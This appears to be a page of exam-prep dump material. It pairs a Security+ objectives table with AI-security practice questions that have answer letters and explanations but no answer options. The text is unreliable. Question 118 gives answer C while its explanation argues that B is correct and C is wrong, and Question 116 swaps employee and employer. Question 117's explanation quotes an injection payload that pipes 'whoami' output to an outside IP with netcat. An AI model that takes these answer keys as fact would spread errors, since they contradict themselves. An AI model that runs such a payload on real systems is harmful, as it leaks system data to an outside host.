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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Architecture and Design | 21% | - Explain the security implications of embedded and specialized systems - Summarize basics of cryptographic concepts - Explain the importance of security concepts in an enterprise environment - Summarize authentication and authorization design concepts - Explain the importance of physical security controls - Given a scenario, implement cybersecurity resilience - Explain secure application development, deployment, and automation concepts - Summarize virtualization and cloud security concepts |
| Topic 2: Implementation | 25% | - Given a scenario, implement public key infrastructure (PKI) - Given a scenario, implement secure network architecture concepts - Given a scenario, implement secure host settings - Given a scenario, implement authentication and authorization solutions - Given a scenario, implement identity and account management controls - Given a scenario, apply cybersecurity solutions to the cloud - Given a scenario, implement secure systems design - Given a scenario, implement secure mobile device policies |
| Topic 3: Governance, Risk, and Compliance | 14% | - Explain privacy and sensitive data concepts in relation to security - Summarize regulations, standards, and frameworks that impact organizations - Explain risk management processes and concepts - Compare and contrast various types of security controls - Given a scenario, follow organizational security policies and procedures |
| Topic 4: Attacks, Threats, and Vulnerabilities | 24% | - Given a scenario, analyze potential indicators associated with application attacks - Compare and contrast types of social engineering attacks - Explain penetration testing concepts - Given a scenario, analyze potential indicators associated with network attacks - Explain threat actor types and attributes - Explain vulnerability scanning concepts - Given a scenario, analyze potential indicators to determine the type of attack |
| Topic 5: Operations and Incident Response | 16% | - Given a scenario, use appropriate tool to assess organizational security - Given a scenario, apply mitigation techniques or controls to secure an environment - Explain key aspects of digital forensics - Given a scenario, use data sources to support an investigation - Summarize the importance of policies, processes, and procedures for incident response |
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NEW QUESTION # 116
An employee wants a consulting company to procure a data set that contains age, ethnicity, and diabetes status. During development, the employer wants to ensure the integrity of the data.
Which of the following is the best strategy to accomplish this task?
Answer: B
Explanation:
Checksums ensure data integrity by detecting any unauthorized or accidental changes to the dataset. This provides a reliable way to confirm that sensitive attributes such as age, ethnicity, and diabetes status remain unaltered during development.
NEW QUESTION # 117
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
Answer: A
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 118
Which of the following helps end users within an organization the most in safeguarding against the risk of AI- related non-compliance?
Answer: C
Explanation:
Basic Concept: End users are the employees who interact with AI systems daily and may inadvertently create compliance risks through their AI usage behaviors. Equipping users with clear guidance on acceptable and compliant AI use is the most effective way to reduce compliance violations at the user level. CompTIA SecAI+ Study Guide emphasizes policies and procedures as the foundational compliance tool for end users.
Why B is Correct: Policies and procedures directly inform end users of what AI-related behaviors are compliant, what is prohibited, and how to use AI tools safely and legally. Comprehensive AI usage policies covering acceptable use, data handling requirements, prohibited data inputs, and reporting obligations give users the knowledge they need to avoid compliance violations. Without clear policies, users cannot reliably identify compliant from non-compliant behavior.
Why A is Wrong: An AI center of excellence governs AI adoption at the organizational level, developing standards and approving use cases. While it benefits the organization overall, its governance activities are directed at organizational processes and technical standards rather than providing direct day-to-day compliance guidance to individual end users.
Why C is Wrong: Data loss prevention (DLP) technology automatically prevents the transmission of sensitive data through monitoring and blocking capabilities. While effective at preventing certain compliance violations technically, it cannot guide users on why certain behaviors are non-compliant or how to make compliant choices in situations DLP doesn ' t cover.
Why D is Wrong: MFA secures user authentication and prevents unauthorized account access. It is an identity security control that protects accounts, not a mechanism that helps users understand or comply with AI governance requirements.
NEW QUESTION # 119
Which of the following risks most often occurs when developing an internal chatbot?
Answer: D
Explanation:
Data leakage is the most applicable risk because an internal chatbot commonly interacts with organizational information that may include confidential documents, customer information, employee records, credentials, intellectual property, and other sensitive content. CompTIA SecAI+ specifically identifies accidental data leakage as an AI risk and sensitive information disclosure as an attack or failure condition affecting AI systems. Internal chatbots can expose information when retrieval permissions are too broad, conversation context crosses security boundaries, prompts contain confidential material, or model responses reproduce information that the requesting user should not receive. Prompt injection is an important chatbot attack vector, but it describes deliberate manipulation of model instructions rather than the broader organizational risk emphasized here. Model theft concerns unauthorized acquisition or reproduction of a model. Unauthorized access concerns gaining access to resources without proper authorization and is generally addressed through model, data, agent, network, and API access controls. In contrast, information leakage can occur even when legitimate employees are using the chatbot normally. Protecting sensitive data through access controls, minimization, masking, classification, and monitoring is therefore fundamental to internal chatbot security.
NEW QUESTION # 120
A developer is selecting authentication controls for an AI system.
Which of the following is the best way to prevent threat actor replay attacks?
Answer: C
Explanation:
Basic Concept: A replay attack occurs when an attacker captures a valid authentication token or credential and reuses it to impersonate a legitimate user. Preventing replay attacks requires ensuring that captured credentials cannot be successfully reused after a defined period or after their intended single use. CompTIA SecAI+ Study Guide covers replay attack prevention under AI system authentication.
Why C is Correct: Expiring session tokens have a limited validity window, typically a few minutes to hours.
If an attacker captures a token, they can only use it until it expires. Short expiration times dramatically reduce the window of opportunity for replay attacks. This is the most direct and effective control specifically targeting replay attack prevention, as expired tokens are rejected even if intercepted.
Why A is Wrong: IdP federation enables single sign-on across multiple systems using federated identity providers. While it standardizes authentication, it does not inherently prevent replay attacks on captured tokens unless combined with short token expiration and proper validation.
Why B is Wrong: SSH certificate authentication uses cryptographic certificates for strong authentication.
While more secure than password-based SSH, certificates alone do not prevent replay attacks unless they include timestamps, nonces, or other anti-replay mechanisms that invalidate captured credentials.
Why D is Wrong: IAM access keys are long-lived credentials that provide programmatic access to services.
They are typically static and do not expire automatically, making them vulnerable to replay attacks if intercepted. They are less suitable for replay attack prevention than expiring session tokens.
NEW QUESTION # 121
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